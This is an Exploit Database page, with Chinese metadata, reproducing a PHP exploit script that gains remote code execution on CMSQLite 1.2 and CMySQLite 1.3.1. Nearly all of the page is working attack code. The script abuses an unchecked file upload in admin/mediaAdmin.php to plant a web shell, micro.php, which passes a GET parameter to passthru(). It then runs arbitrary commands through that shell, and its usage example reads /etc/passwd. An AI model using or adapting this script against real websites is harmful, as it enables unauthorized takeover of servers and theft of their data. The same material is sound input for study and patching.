CMSQLite 1.2 / CMySQLite 1.3.1 – Remote Code Execution

• Exploit Database
• 14 阅读

• 作者： BlackHawk
  日期： 2010-08-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14654/

• #!/usr/bin/php -q -d short_open_tag=on
  <?
  echo "
  CMSQLite <= 1.2 & CMySQLite <= 1.3.1 Remote Code Execution Exploit
  by BlackHawk <hawkgotyou gmail com> <http://twitter.com/itablackhawk>
  Thanks to rgod for the php code and Natural Killer
  
  ";
  if ($argc<4) {
  echo "Usage: php ".$argv[0]." Host Path CMD
  Host:target server (ip/hostname)
  Path:path of CMSQLite / CMySQLite
  CMD: A Shell Command
  
  Example:
  php ".$argv[0]." localhost /template/ cat /etc/passwd";
  
  die;
  }
  error_reporting(0);
  ini_set("max_execution_time",0);
  ini_set("default_socket_timeout",5);
  
  
  /*
  Explanation:
  
  No check of user rights when uploading a file, and file type is checked via
  HTTP header Content-Type, wich can be different to the real.
  
  exploit creates a micro.php shell on target site
  
  */
  
  function quick_dump($string)
  {
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.=".";}
   else
   {$result.="".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
   return $exa."\r\n".$result;
  }
  $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
  function sendpacketii($packet)
  {
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
  $ock=fsockopen(gethostbyname($host),$port);
  if (!$ock) {
  echo 'No response from '.$host.':'.$port; die;
  }
  }
  else {
  	$c = preg_match($proxy_regex,$proxy);
  if (!$c) {
  echo 'Not a valid proxy...';die;
  }
  $parts=explode(':',$proxy);
  echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
  $ock=fsockopen($parts[0],$parts[1]);
  if (!$ock) {
  echo 'No response from proxy...';die;
  	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
  $html='';
  while (!feof($ock)) {
  $html.=fgets($ock);
  }
  }
  else {
  $html='';
  while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  $html.=fread($ock,1);
  }
  }
  fclose($ock);
  }
  
  $host=$argv[1];
  $path=$argv[2];
  
  $cmd="";
  for ($i=3; $i<=$argc-1; $i++){
  $cmd.=" ".$argv[$i];
  }
  $port=80;
  $proxy="";
  
  $cmd=urlencode($cmd);
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  
  echo "- Uploading Shell Creator..\r\n";
  
  $data="-----------------------------7d529a1d23092a\r\n";
  $data.="Content-Disposition: form-data; name=\"fileName\"; filename=\"oh_my_shell.php\"\r\n";
  $data.="Content-Type: application/zip\r\n\r\n";
  $data.="<?php
  \$fp=fopen('micro.php','w');
  fputs(\$fp,'<?php error_reporting(0);
  set_time_limit(0);
  if (get_magic_quotes_gpc()) {
  \$_GET[cmd]=stripslashes(\$_GET[cmd]);
  }
  echo 666999;
  passthru(\$_GET[cmd]);
  echo 666999;
  ?>');
  fclose(\$fp);
  chmod('micro.php',777);
  ?>\r\n";
  $data.='-----------------------------7d529a1d23092a
  Content-Disposition: form-data; name="upload"
  
  1
  -----------------------------7d529a1d23092a--
  ';
  $packet="POST ".$p."admin/mediaAdmin.php HTTP/1.0\r\n";
  $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
  $packet.="Referer: http://".$host.$path."/example.html\r\n";
  $packet.="Accept-Language: it\r\n";
  $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
  $packet.="Accept-Encoding: gzip, deflate\r\n";
  $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Content-Length: ".strlen($data)."\r\n";
  $packet.="Connection: Close\r\n";
  $packet.="Cache-Control: no-cache\r\n\r\n";
  $packet.=$data;
  sendpacketii($packet);
  
  echo "- Creating the Shell..\r\n";
  $packet ="GET ".$p."media/oh_my_shell.php HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  $packet.=$data;
  sendpacketii($packet);
  sleep(3);
  
  echo "- Execute Commands..\r\n";
  $packet ="GET ".$p."media/micro.php?cmd=$cmd HTTP/1.0\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  $packet.=$data;
  sendpacketii($packet);
  if (strstr($html,"666999"))
  {
  echo "Exploit succeeded...\r\n";
  $temp=explode("666999",$html);
  die("\r\n".$temp[1]."\r\n");
  }
  
  ?>